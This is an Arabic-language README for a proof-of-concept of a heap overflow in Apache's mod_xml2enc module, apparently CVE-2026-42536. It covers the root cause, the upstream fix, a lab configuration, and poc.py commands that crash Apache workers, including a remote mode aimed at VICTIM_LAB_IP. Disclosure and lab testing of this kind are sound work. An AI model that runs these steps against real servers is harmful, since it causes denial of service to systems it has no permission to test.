
ثغرة تجاوز سعة المخزن المؤقت المستند إلى الكومة في خادم Apache HTTP مع mod_xml2enc و xml2StartParse والمحتوى غير الموثوق
mod_xml2enc Heap Overflow PoCيحتوي هذا المستودع على إثبات مفهوم مُتحكَّم به لـ CVE-2026-42536، وهو كتابة خارج الحدود قائمة على الكومة (heap-based out-of-bounds write) في وحدة mod_xml2enc الخاصة بـ Apache HTTP Server. تتأثر إصدارات Apache HTTP Server من 2.4.0 حتى 2.4.67؛ ويحتوي الإصدار 2.4.68 على الإصلاح من المصدر upstream.
النتيجة المُوضَّحة هي تلف الذاكرة يتبعه انهيار عامل Apache (worker crash). قد تؤدي عمليات التشغيل المتكررة إلى حجب الخدمة (denial of service). هذا الـ PoC لا يُوضِّح تنفيذ التعليمات البرمجية عن بُعد (remote code execution)، أو تصعيد الصلاحيات (privilege escalation)، أو صدفة عكسية (reverse shell).
يُرسل هذا الـ PoC عمدًا محتوى يمكن أن يُعطِّل عامل Apache. شغِّله فقط في بيئة معزولة وقابلة للتخلص منها تملكها أو لديك تفويض صريح لاختبارها. لا توجِّهه نحو أنظمة الإنتاج أو أنظمة الأطراف الثالثة.
يسمح السكربت افتراضيًا بالتشغيل عبر loopback فقط. يتطلب التشغيل عن بُعد وجود العلامة الصريحة --allow-remote، لكن هذه العلامة ليست بديلًا عن التفويض.
يمكن لـ xml2StartParse أن تُوجِّه mod_xml2enc لتخطي بايتات قبل عنصر البداية المُهيَّأ. في Apache HTTP Server 2.4.67، يقوم fix_skipto() بتقديم مؤشر مخزن الإخراج (output-buffer pointer) وتقليل كمية البيانات الصالحة، لكنه لا يُقلِّل سعة الإخراج بنفس الإزاحة:
ctx->bytes -= (p - ctx->buf);
ctx->buf = p;
وبالتالي تتلقى عملية تحويل مجموعة المحارف (character-set conversion) اللاحقة سعةً محسوبة من التخصيص الأصلي رغم أن ctx->buf يشير الآن داخل ذلك التخصيص. يجعل الـ PoC هذا التباين قابلًا للملاحظة من خلال الجمع بين:
xml2StartParse html.Content-Type يُعلن charset=windows-1252.0x80، الذي يتوسَّع من بايت CP1252 واحد إلى ترميز UTF-8 ثلاثي البايت لعلامة اليورو.يستهلك التحويل المتوسِّع السعة القديمة (stale capacity) ويمكن أن يكتب خارج المساحة الفعلية المتبقية بعد تقدُّم المؤشر.
يُصلح Apache 2.4.68 خطأ المحاسبة بطرح الإزاحة المتخطَّاة من ctx->bblen:
ctx->bytes -= (p - ctx->buf);
+ctx->bblen -= (p - ctx->buf);
ctx->buf = p;
يستخدم الـ PoC مكوَّنين من HTTP:
poc.py client -> vulnerable Apache front end -> payload backend in poc.py
يجب أن يُحمِّل Apache الوحدات التالية:
filter
proxy
proxy_http
xml2enc
استخدم التهيئة التالية فقط في مختبر معزول يعمل بـ Apache 2.4.67 أو أقدم:
Listen 127.0.0.1:18080
<VirtualHost 127.0.0.1:18080>
ProxyRequests Off
ProxyPass /cve-2026-42536/ http://127.0.0.1:18081/
ProxyPassReverse /cve-2026-42536/ http://127.0.0.1:18081/
<Location /cve-2026-42536/>
SetOutputFilter xml2enc
xml2StartParse html
</Location>
</VirtualHost>
تتوقع التهيئة الافتراضية أن يعمل poc.py في نفس المضيف أو نفس مساحة أسماء شبكة الحاوية (container network namespace) الخاصة بـ Apache. المنفذ 18081 هو خادم الحمولة (payload backend)؛ يجب إرسال الطلبات إلى مسار Apache المُرشَّح على المنفذ 18080.
ابدأ نسخة Apache المصابة، ثم شغِّل الـ PoC من نفس المضيف أو الحاوية القابلة للتخلص منها:
python3 poc.py
القيم الافتراضية مكافئة لـ:
python3 poc.py \
--host 127.0.0.1 \
--port 18080 \
--path /cve-2026-42536/ \
--backend-bind 127.0.0.1 \
--backend-port 18081 \
--skip 2048 \
--expand 12288 \
--attempts 3
بالنسبة لمختبر مُصرَّح به من جهازين، اجعل خادم الحمولة قابلاً للوصول من Apache وحدِّث ProxyPass/ProxyPassReverse لاستخدام عنوان IP الخاص بمختبر المهاجم. ثم اربط الخادم الخلفي واستهدف عنوان Apache الخاص بالمختبر صراحةً:
python3 poc.py \
--host VICTIM_LAB_IP \
--port 18080 \
--backend-bind 0.0.0.0 \
--backend-port 18081 \
--allow-remote
لا تُعرِّض منفذ الخادم الخلفي خارج شبكة الاختبار المعزولة.
راقب Apache أثناء تشغيل الـ PoC. اعتمادًا على البناء ومدير العمليات، قد يفشل طلب العميل أو يُعاد ضبطه أو يُعيد بيانات جزئية بينما تستبدل العملية الأم العامل المُنهار.
تضمَّنت الأدلة النموذجية من البناء المصاب المُختبَر:
AH01434 character-set conversion selected
AH01428 skipped to the first configured element
AH01441 conversion performed
AH00052 child process exited on signal 11 (SIGSEGV)
على تثبيت مُدار بواسطة systemd:
sudo journalctl -u apache2 -f
لحاوية Docker تعمل في المقدمة (foreground):
docker logs -f CONTAINER_NAME
يمكن أن يُوفِّر تبدُّل PID الخاص بالعامل إشارة إضافية:
watch -n 0.5 'pgrep -a httpd || pgrep -a apache2'
فشل النقل وحده ليس دليلًا على الثغرة. أكِّد الانهيار في سجل أخطاء Apache، أو سجل النظام (system journal)، أو مخرجات sanitizer، أو core dump.
كرِّر نفس الطلب مقابل Apache HTTP Server 2.4.68 بنفس الوحدات وتهيئة المضيف الافتراضي. يجب أن يستمر الخادم الخلفي للحمولة في استقبال الطلب، لكن يجب أن يبقى عامل Apache حيًّا لأن سعة الإخراج تُقلَّل مع تقدُّم المؤشر.
إذا لم تستبدل العملية الأم العامل تلقائيًا، فأعد تشغيل خدمة المختبر القابلة للتخلص منها فقط:
sudo systemctl restart apache2
أو أعد تشغيل الحاوية القابلة للتخلص منها:
docker restart CONTAINER_NAME